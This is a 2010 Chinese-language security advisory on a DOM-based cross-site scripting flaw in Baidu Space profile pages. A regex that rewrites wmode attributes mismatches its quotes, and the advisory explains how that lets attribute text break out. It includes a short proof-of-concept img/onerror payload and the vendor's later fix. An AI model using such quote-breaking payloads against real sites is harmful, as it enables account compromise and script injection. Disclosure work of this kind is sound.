百度HI个人信息页XSS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
Author: pz Blog: http://hi.baidu.com/p__z Team: http://www.80vul.com date: 2010年5月12日 一 综述 百度空间的一段Javascript Dom操作函数在操作DOM时考虑不周,导致可以通过构造一段特殊的HTML代码,使该函数对其进行DOM操作,重新渲染页面,最终导致XSS漏洞。 二 分析 在http://hi.baidu.com/p__z/profile 代码: (function(){ var m_aboutme = document.getElementById("m_aboutme"), isIE = /*@cc_on!@*/false, ... try{ if(m_aboutme.getElementsByTagName("embed").length > 0) { //如果在个人简介中存在embed标签 //替换个人简介中的wmode为transparent m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,'wmode="transparent"'); } }catch(e){} }; if(isIE){ window.attachEvent("onload", onload); }else{ window.addEventListener("load", onload, false); } })(); 注意m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,'wmode="transparent"');要被替换的是wmode=('|")...,而进行替换的是wmode="transparent".这里替换的前后存在一个单引号和双引号的差异,正是因为这种前后标准的不统一的存在,导致了跨站脚本的执行. 假设一个HTML标签为<a id="wmode='window' foo='bar'">,属性和值为{id : wmode='window' anything}被JS进行DOM操作后变为<a id="wmode="transparent" foo='bar'">,属性和值为{id:wmode=,transparent: ,foo:bar}.如此一来,我们成功地把原来在值中的一串字符串转换到了HTML标签中的属性和对应的值.这将引起不必要的安全隐患. 三 利用 POC : <embed ...></embed><img border="0" alt="wmode='window' onerror=alert(/sobb03/) // " small="0" src=#> 四 补丁[fix] 等待官方补丁 update 2010年5月13日 m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,'wmode="transparent"'); 改为了: m_aboutme.innerHTML = m_aboutme.innerHTML.replace(/wmode=('|")(window|opaque)?\1/ig,function(all,a){ return 'wmode='+a+'transparent'+a; |
没有评论
暂无评论
RSS feed for comments on this post.
对不起,该文章的评论被关闭了!